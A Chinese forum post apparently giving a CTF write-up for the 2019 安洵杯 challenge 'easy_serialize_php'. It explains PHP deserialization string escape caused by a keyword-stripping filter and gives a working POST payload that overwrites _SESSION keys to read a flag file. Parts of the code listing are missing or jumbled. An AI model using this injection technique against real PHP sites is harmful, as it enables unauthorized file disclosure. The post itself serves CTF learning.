【安洵杯 2019】easy_serialize_php

打印 上一主题 下一主题

主题 886|帖子 886|积分 2658

【安洵杯 2019】easy_serialize_php

收获


  • php反序列化逃逸
  • 数组变量覆盖
  • POST请求体传递数组
分析


  • 代码:
    1. [/code]本来反序列化的结果为:a:2:{s:4:"user";s:12:"flagflagflag";i:1;s:1:"1";}
    2. 但是因为敏感字符串替换变成了:a:2:{s:4:"user";s:12:"";i:1;s:1:"1";}
    3. 这样在反序列化时,就导致了原先的键值flagflagflag被现在的12个字符";i:1;s:1:"1替换了。导致误以为键user的值为";i:1;s:1:"1。
    4. 但是同时这里确定了有两个类,所以要想反序列化成功,则需要让原来键1对应值再包含一个类,这样就能够填补前面被覆盖的1键值的空缺;i:1;s:1:"1"应该是i:1;s:13:"1";i:2;s:1:"2",即过滤后字符串为:a:2:{s:4:"user";s:13:"";i:1;s:13:"1";i:2;s:1:"2";}
    5. [*][b]payload[/b]
    6. 首先f的值需要为show_image;其次我们需要覆盖img键对应的值为d0g3_f1ag.php的编码值:ZDBnM19mMWFnLnBocA==。也就是说我们构造的字符串中要包括:s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==",并且让该字符串前面的序列化内容正好被敏感字符过滤的坑位吃掉。同时,为了覆盖最后系统赋值的img,我们在字符串后面还要加一个类。
    7. [code]<?php
    8. function filter($img){
    9.     $filter_arr = array('php','flag','php5','php4','fl1g');
    10.     $filter = '/'.implode('|',$filter_arr).'/i';
    11.     return preg_replace($filter,'',$img);
    12. }
    13. $ab=array('user'=>'flagflagflag','1'=>'1');
    14. echo filter(serialize($ab));
    15. ?>
    复制代码
    其过滤后的序列化结果为:

    原本的红线部分作为了现在func键的值。
  • 抓包:
    注意_SESSION数组修改方式不包含$符号与引号。
  • 继续:
    说明要继续读取:/d0g3_fllllllag=>L2QwZzNfZmxsbGxsbGFn
    payload:
    1. _SESSION[test]=phpphpphpphpphpphpflag&_SESSION[function]=;s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";i:1;s:1:"2";}
    复制代码
参考链接

PHP反序列化字符逃逸详解

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

干翻全岛蛙蛙

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表